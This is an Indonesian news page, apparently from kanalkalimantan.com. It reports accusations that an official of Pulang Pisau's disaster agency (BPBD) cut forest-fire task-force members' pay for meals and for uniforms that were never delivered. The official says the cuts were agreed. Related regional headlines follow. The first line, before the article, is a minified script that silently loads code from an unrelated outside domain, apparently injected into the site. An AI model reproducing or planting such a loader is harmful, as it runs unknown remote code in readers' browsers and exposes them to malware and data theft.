(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PULANG PISAU – Setelah beberapa bulan berjibaku memadamkan api, puluhan Satgas Karhutla Badan penanggulangan Bencana Daerah (BPBD) Pulpis mendapat perlakuan kurang mengenakan. Yakni kabar akan diberhentikannya tugas mereka seiring memasuki musim hujan. Tidak sampai disitu, rupanya honor yang menjadi hak pada satuan tugas yang bekerja rupanya mendapat potongan dari Tekson, Kabid Pencegahan dan Pengendalian Operasi BPDB Pulang Pisau.
“Sesuai SK honor kami itu 145 ribu per hari dengan rincian Rp 100 ribu honor dan Rp 45 ribu untuk makan. Oleh oknum Kabidnya kami waktu itu diarahkan makan di satu warung dengan pemotongan Rp 45 ribu tadi. Kami memang awalnya setuju saja. Namun baru 10 hari di lapangan, kami ditarik ke Pos Induk atau satgas BPBD. Artinya kami hanya makan 10 hari saja. Tapi setelah 20 hari kemudian saat gajihan kami kaget, rupanya honor kami tetap di potong yang 10 hari waktu di pos Induk itu, padahal kami kan makan di warung yang ditunjuk hanya 10 hari saja,” ungkap Y, salah satu petugas pemadam Satgas Karhutla yang meminta namanya disamarkan.
Sama seperti Y, OKA juga petugas pemadam yang tergabung dalam Satgas BPBD juga punya kisah lain. Menurutnya sekitar bulan Agustus, saat awal perekrutan semua Anggota Satgas sebanyak 60 orang di lakukan pemotongan dari honor yang di terima oleh Tekson.
“Katanya uang itu untuk pembuatan baju seragam, di potong Rp 200 ribu per orang sebanyak 60 orang. Namun sampai saat ini kami belum terima seragam yang dimaksud. Bahkan kabarnya pun tidak ada. Padahal waktu itu tidak semuanga setuju buat seragam, apalagi bulan ini kontrak kami berakhir,” keluh Oka.
Di konfirmasi terpisah, Tekson, Kabid Pencegahan dan Pengendalian Operasi BPDB Pulang Pisau mengaku jika pemotongan memang dilakukan untuk pembuatan baju kaos anggota Satgas Karhutla BPBD Pulang Pisau. Namun menurutnya pemotongan dilakukan sesuai dengan kesepakatan bersama.
“Sebelumnya memang ada kesepakatan yang dibuat bersama rekan-rekan satgas Karhutla. Untuk pembuatan baju itu sekarang sudah proses, Minggu depan sudah selesai. Memang saya akui proses perubahan bordir pembuatan baju itu kurang disampaikan ke satgas makanya sempat terjadi protes,” kata Tekson.
Sementara itu terkait pemotongan untuk biaya makan, dikatakan Tekson juga sesuai dengan kesepakatan. Dirinya membantah melakukan pemotongan di luar ketentuan. Sebab biaya yang di bayarkan ke warung menurutnya sudah sesuai dengan jumlah tagihan.
“Kan yang mengelola warung itu sudah ada, dia yang menyediakan keperluan satga di lapangan. Karena belum gajihan jadinya mereka bon dulu lalu nanti di potong saat gajihan,” ujarnya. ( Sjy).
KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
This website uses cookies.